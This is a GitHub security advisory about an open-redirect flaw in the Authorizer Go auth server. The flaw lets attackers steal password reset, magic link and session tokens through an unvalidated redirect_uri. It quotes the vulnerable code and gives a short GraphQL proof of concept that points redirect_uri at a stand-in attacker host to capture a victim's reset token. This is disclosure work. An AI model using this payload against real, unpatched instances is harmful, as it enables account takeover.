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Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri

High severity GitHub Reviewed Published Apr 3, 2026 in authorizerdev/authorizer • Updated Apr 6, 2026

Package

gomod github.com/authorizerdev/authorizer (Go)

Affected versions

< 0.0.0-20260329085140-6d9bef1aaba3

Patched versions

0.0.0-20260329085140-6d9bef1aaba3

Description

Hi,

I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).

Affected Endpoints

  1. ForgotPassword (internal/graphql/forgot_password.go:76-77) - password reset tokens
  2. MagicLinkLogin (internal/graphql/magic_link_login.go:150-151) - magic link auth tokens
  3. Signup (internal/graphql/signup.go:211-212) - email verification tokens
  4. InviteMembers (internal/graphql/invite_members.go:90-91) - invitation tokens
  5. OAuthLoginHandler (internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state
  6. VerifyEmailHandler (internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)

Root Cause

Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.

In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:

if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != "" {
    redirectURI = refs.StringValue(params.RedirectURI)
}

The reset token is appended to this URL at internal/utils/common.go:77:

func GetForgotPasswordURL(token, redirectURI string) string {
    verificationURL := redirectURI + "?token=" + token
    return verificationURL
}

Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:

if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    c.JSON(400, gin.H{"error": "invalid redirect url"})
    return
}

This validation is missing from all 6 endpoints listed above.

Most Severe Path: Full Token Theft via verify_email

After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:

params := "access_token=" + authToken.AccessToken.Token +
    "&token_type=bearer&expires_in=" + ... +
    "&id_token=" + authToken.IDToken.Token + "&nonce=" + nonce

The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.

Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.

PoC

mutation {
  forgot_password(params: {
    email: "victim@example.com"
    redirect_uri: "https://attacker.com/steal"
  }) {
    message
  }
}

The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.

Impact

  • Account takeover via stolen password reset tokens
  • Full session theft via stolen access_token + id_token + refresh_token
  • Passwordless account compromise via stolen magic link tokens
  • No authentication required to trigger (the GraphQL mutations are public)
  • Victim only needs to click the email link from their trusted Authorizer instance

Additional Note

The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.

Koda Reef

References

@lakhansamani lakhansamani published to authorizerdev/authorizer Apr 3, 2026
Published to the GitHub Advisory Database Apr 6, 2026
Reviewed Apr 6, 2026
Last updated Apr 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-x3f4-v83f-7wp2

Credits

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